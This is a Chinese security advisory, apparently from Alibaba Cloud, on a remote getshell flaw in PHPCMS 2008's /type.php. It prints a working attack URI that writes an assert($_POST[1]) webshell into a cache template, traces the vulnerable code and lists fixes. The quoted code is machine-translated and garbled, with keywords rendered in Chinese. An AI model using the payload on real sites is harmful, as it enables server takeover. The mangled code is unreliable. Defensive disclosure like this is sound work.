摘要:11月4日,阿里巴巴云安全首次捕获PHPCMS 2008版本的/type.php远程GetShell 0day漏洞利用攻击,攻击者可利用此漏洞远程植入webshell,导致文件篡改,数据泄露,服务器远程控制等严重系列问题。建议受影响的用户尽快升级到最新版本。 —————— - PHPCMS网站内容管理系统是中国主流的CMS系统之一,也是一个开源的PHP开发框架。 PHPCMS于2008年首次发布,最新版本已发布至v9.6.3。然而,由于其稳定,灵活和开源的特性,PHPCMS2008仍然被许多网站使用。 漏洞详细信息 当攻击者使用PHPCMS 2008向网站发送uri时,有效负载为以下文本。 /type.php?template=tag_(){};@unlink(_FILE_);assert($_POST[1]);{//./rss 然后是@unlink(_FILE _);断言($ _ POST [1]);此恶意php命令将写入网站上的/cache_template/rss.tpl.php文件。 漏洞原则 该漏洞源自PHPCMS 2008源代码中的/type.php文件。该文件包含以下代码: 如果(空($模板)) $模板 = '类型'; . 包含 模板('phpcms', $ template); 这里模板变量由用户通过传递的参数控制,您可以看到变量传递给template()方法。 template()方法在/include/global.func.php文件中定义,包含以下代码: Template_compile($ module, $ template, $ istag); 不难看出/include/template.func.php中的template_compile()将继续在这里被调用: 函数 template_compile($ module, $ template, $ istag = 0){ $ compiledtplfile = TPL_CACHEPATH。$ module .'_'。$ template。'。tpl.php'; $ content = ($ istag || substr($ template, 0, 4) == 'tag_') '<php function _tag _'。$ Module .'_'。$ template。'($ data, $ number, $ rows, $ count, $ page, $ pages, $ setting ){ 全局 $ PHPCMS,$ MODULE,$ M,$ CATEGORY,$ TYPE,$ AREA,$ GROUP,$ MODEL,$ templateid,$ _userid,$ _username; @extract($ setting);>'。template_parse($ content, 1)。'< Php } >' template_parse($ content); $ strlen = file_put_contents($ compiledtplfile, $ content); } 在此方法中,模板变量用于在compiledtplfile变量中生成文件路径以及在内容变量中生成文件内容。 上述攻击有效负载将模板变量设置为以下值。 标签_(){}; @的unlink(_FILE _);断言($ _ POST [1]); {//./RSS 所以在template_compile()方法中,file_put_contents()函数的第一个参数写为data/cache_template/phpcms_tag _(){}; @ unlink(_FILE _); asser($ _ POST [1]); {//. /rss.tpl.php,这将由php解析为data/cache_template/rss.tpl.php。 最后,@ unlink(_FILE _);断言($ _ POST [1]);将被写入文件。 势力范围 尽管PHPCMS2008版本已经发布了10年,但仍有许多网站使用PHPCMS2008,包括政府和企业网站。根据Fofa网络空间安全搜索引擎的整个网络准确搜索结果,有近200个版本使用PHPCMS2008。网站;如果你使用模糊匹配来识别网站,匹配的结果将达到数万。 通过利用此漏洞,在攻击者将恶意脚本代码写入路径可控文件后,后续将能够向文件发送webshell命令并在服务器上执行任意代码,因此代码注入漏洞会产生更大的影响。 安全建议 手动修复 临时解析可以过滤/type.php文件中的模板变量,避免用户输入的内容包含'(,'{和其他符号混合,并视为路径和脚本内容。 但是,由于PHPCMS2008版本太旧,用户应尝试升级到最新版本的PHPCMS,以便更好地保护安全性。 安全加固 •云防火墙支持针对此类漏洞的入侵防御,并启用云防火墙IPS拦截模式和虚拟补丁功能。即使用户不自行修复,用户仍然可以进行防御和拦截。 •购买安全管家服务,您将能够在阿里云安全专家的指导下执行安全加固和优化,以防止系统受到此漏洞和后续漏洞的影响。 作者:阿里云安全团队吴攀